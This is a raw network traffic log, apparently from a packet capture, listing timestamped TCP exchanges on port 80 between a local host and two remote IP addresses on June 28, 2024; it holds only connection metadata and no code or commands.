Jun 28, 2024 22:32:09.698504925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:09.757492065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:09.762367010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.122071028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.122087002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.122098923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.122160912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.122195959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.122219086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.122241020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.124697924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.129466057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.306545973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:10.306637049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.467334032 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:10.472265005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:11.173907042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:11.173964024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:11.255889893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:11.260724068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:12.061383963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:12.061446905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:12.067542076 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.072365999 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.072432995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.072556973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.077317953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770092964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770137072 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770148039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770153999 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770165920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770178080 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770179033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770195007 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770214081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770224094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770313978 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770325899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770335913 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770347118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770354033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770356894 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.770380020 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.770396948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.775074005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.775093079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.775121927 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.775146008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.873194933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.873253107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888300896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888312101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888322115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888364077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888369083 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888376951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888406038 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888432026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888654947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888664961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888674974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888703108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888747931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.888763905 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888777971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.888816118 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.889413118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889456034 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.889462948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889473915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889511108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.889549971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889559984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889569998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.889595032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.889606953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.890364885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890373945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890383959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890412092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.890439987 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.890670061 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890680075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890690088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890724897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.890747070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.890748978 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.890789032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.895514965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.895549059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.895560026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.895587921 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:12.978815079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:12.978862047 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.006433964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.006463051 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.006470919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.006484985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.006500959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.006522894 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.006531954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.006572008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007572889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007590055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007600069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007620096 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007638931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007705927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007751942 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007781029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007791042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007801056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007810116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007819891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007822990 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007829905 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007836103 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007857084 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007879019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007915020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007925987 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007962942 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.007962942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.007977009 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008012056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.008138895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008150101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008162975 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008173943 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008186102 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.008197069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.008215904 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.008352041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008363008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008378029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008388042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.008399010 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.008423090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009072065 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009083033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009094000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009126902 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009151936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009181976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009192944 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009202957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009212017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009229898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009229898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009241104 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009252071 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009784937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009797096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009808064 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009815931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009835958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009905100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009916067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009931087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009942055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.009958982 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.009969950 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010032892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010070086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010704041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010715008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010725021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010755062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010782003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010823965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010835886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010845900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010855913 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.010863066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010874033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.010885000 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.011472940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.011576891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.097296953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.097336054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.097353935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.097421885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125545025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125554085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125591040 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125703096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125713110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125722885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125732899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125742912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125746012 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125766993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125786066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125822067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125833035 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125850916 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125860929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125893116 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.125946045 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.125988960 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126003981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126040936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126049995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126091003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126101971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126111031 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126121998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126127958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126140118 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126147032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126220942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126231909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126260996 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126283884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126296043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126306057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126316071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126329899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126351118 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126538992 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126549959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126559019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126571894 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126575947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126586914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126595974 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126597881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126610994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126621008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126621008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126631021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.126638889 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126652002 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.126674891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127106905 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127116919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127127886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127136946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127146959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127156019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127161026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127172947 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127197981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127199888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127209902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127219915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127228975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127229929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127242088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127252102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127252102 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127263069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127274036 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127274036 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127283096 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127306938 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127471924 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127480984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127491951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127502918 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127509117 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127515078 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127528906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127548933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127645969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127655983 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127665043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127674103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.127686977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.127707958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.130745888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130772114 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130783081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130820990 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.130835056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.130892038 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130903006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130913973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130923986 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.130938053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.130961895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.131159067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131167889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131182909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131192923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131202936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.131207943 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131220102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131226063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.131230116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.131242037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.131267071 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.142044067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.142061949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.142071962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.142091990 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.142102003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.187932014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.187949896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.187958002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.187994957 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.188009977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.188019991 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.188030005 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.188051939 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217171907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217181921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217192888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217226028 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217252016 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217300892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217313051 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217329025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217339993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217351913 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217365026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217384100 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217396975 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217508078 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217524052 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217535019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217552900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217562914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217566013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217573881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217585087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217586994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217592955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217597008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217607975 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217612982 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217618942 CEST	49732	80	192.168.2.4	77.91.77.81
